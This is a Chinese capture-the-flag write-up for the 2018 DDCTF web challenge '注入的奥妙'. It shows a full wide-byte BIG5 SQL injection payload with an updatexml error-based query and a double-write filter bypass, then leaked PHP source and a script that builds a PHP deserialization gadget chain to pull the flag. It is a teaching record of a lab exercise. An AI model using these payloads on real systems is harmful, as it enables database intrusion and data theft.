2018 DDCTF web 注入的奥妙 writeup

注入的奥妙

  在网页的源码里发现了一处注释




  打开后发现是BIG5编码表,所以推测是宽字节注入。




  因为页面的属性是UTF-8




  所以推测后端应该是做了类似这个:iconv('utf-8','BIG5',$_GET['id'])的转换。又因为'会被转义,变成\',所以我们考虑找一个BIG5编码后最后一位是5C的字符,这样查询时就变成\\'\的作用取消掉。然后我们可以在字符查询网站找一下,传送门

  这是随便找的一个,当然,还有很多个符合条件的字。




  然后成功拿到POC




  而且还是报错注入,这算是注入中效率比较高的一种方法了,然后注入的时候注入被过滤的函数,双写绕过即可。payload:
1
http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/well/getmessage/1廄'and updupdatexmlatexml(1,concat(0x7e,substr((select rulepass from route_rules limit 0,1),1,30),0x7e),1) -- +

  具体的注入过程不再赘述。最后我们能拿到如下的表结构和键值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
database  --->  sqli

table ---> message
id
name
contents

route_rules
id
pattern
get*/:u/well/getmessage/:s
get*/:u/justtry/self/:s
post*/:u/justtry/try
static/bootstrap/css/backup.css
action
Well#getmessage
JustTry#self
JustTry#try
static/bootstrap/css/backup.zip
rulepass
cd4229e671a8830debfcbb049a23399c
5ed16f9c7c27cb846eaf15c19fe40093
3228ad498d5a20d1d22d6a4a15fed4d2

  很明显有一个备份文件,又是源码泄露。下载下来慢慢审计。

  首先这是php的mvc设计模式,由Router.php负责分发,然后在Justtry类上,也就是我们从注入上得到的可以操作的类上发现了我们非常感兴趣的东西:序列化与反序列化,所以一个清晰地念头就出来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Justtry extends Base
{
private $white = array('test', 'well','base','justtry');
public $flag;
public function __construct()
{
parent::__construct();
}

public function self($a='')
{
if (!in_array(strtolower($a), $this->white)) {
exit('类不存在');
}

$res=$this->ref->getclassall($a);

if (isset($res)) {
echo $res;
}
}

public function try($serialize)
{
unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
}

public function send()
{ //省略
}
}

  我们可以发现允许序列化的类只有:Flag、SQL、Test,所以我们重点关注一下这三个类,寻找获取flag的条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// Test.php
<?php
class Test
{
public $user_uuid;
public $fl;

public function __construct()
{
echo 'hhkjjhkhjkhjkhkjhkhkhk';
}

public function __destruct()
{
$this->getflag('ctfuser', $this->user_uuid);
}

public function setflag($m = 'ctfuser', $u = 'default', $o = 'default')
{ // 省略
}

public function getflag($m = 'ctfuser', $u = 'default')
{
//TODO: check username
// 需要知道id
$user=array(
'name' => $m,
'id' => $u
);
//懒了直接输出给你们了
echo 'DDCTF{'.$this->fl->get($user).'}';
}
}

  可以看到Test类的__destruct()调用了getflag(),所以推测这是我们序列化的入口。而它里面调用的get($user)方法是属于Flag类的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Flag.php
<?php
class Flag
{
public $sql;
public function __construct()
{
$this->sql=new SQL();
}
public function get($user)
{

$tmp=$this->sql->FlagGet($user);
if ($tmp['status']===1) {
return $this->sql->FlagGet($user)['flag'];
}
}
}

  截取SQL类的FlagGet()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
public function FlagGet($user)
{
$this->dbc = new FLDbConnect();
$this->pdo = $this->dbc->getPDO();
//TODO :CHECK UNIQUE
$user['name']= $user['name'];
$user['id']= $user['id'];

$sth = $this->pdo->prepare('SELECT `username`,`flags`,`uuid` FROM `passflag` WHERE `uuid` = :uuid AND `username` = :name');
$sth->bindValue(':uuid', $user['id'], $this->pdo::PARAM_STR);
$sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
if ($sth->execute()) {
$result = $sth->fetch($this->pdo::FETCH_ASSOC);

return array('status'=>1,'msg'=>'success','flag'=> $result['flags']);
} else {
return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
}
}

  到这,我们可以初步确定Test类中的$fl属性的值为Flag类,但$user_uuid的值我们还不能确定,所以,我们来找找这个值。

  在UUID.php里我们可以发现关于uuid的定义,它的形式如下:




  看到上面的形式然后再看看我们的url里面的4eaee5db-2304-4d6d-aa9c-962051d99a41,是不是很符合,所以我就大胆的试了一下,使用下面的脚本进行序列化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
namespace Index\Helper;
class SQL
{
public $dbc;
public $pdo;
public function __construct()
{

}
}

class Flag
{
public $sql;
public function __construct()
{
$this->sql=new SQL();
}
}

class Test
{
public $user_uuid;
public $fl;

public function __construct()
{
echo 'hhkjjhkhjkhjkhkjhkhkhk';
}

}
$a = new Test;
$a->fl = new Flag;
$a->user_uuid = '4eaee5db-2304-4d6d-aa9c-962051d99a41';
$b = serialize($a);
echo $b;
?>

  注意:一定不要忘记namespace Index\Helper,不然服务器序列化失败。

  我们将得到的序列化结果先进行url encode一下,然后再提交。




  最后flag:DDCTF{9b6b97fe2980c5ed24bdb980c8994d81a26a363e07d92fd74070ee63e5e40911}

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×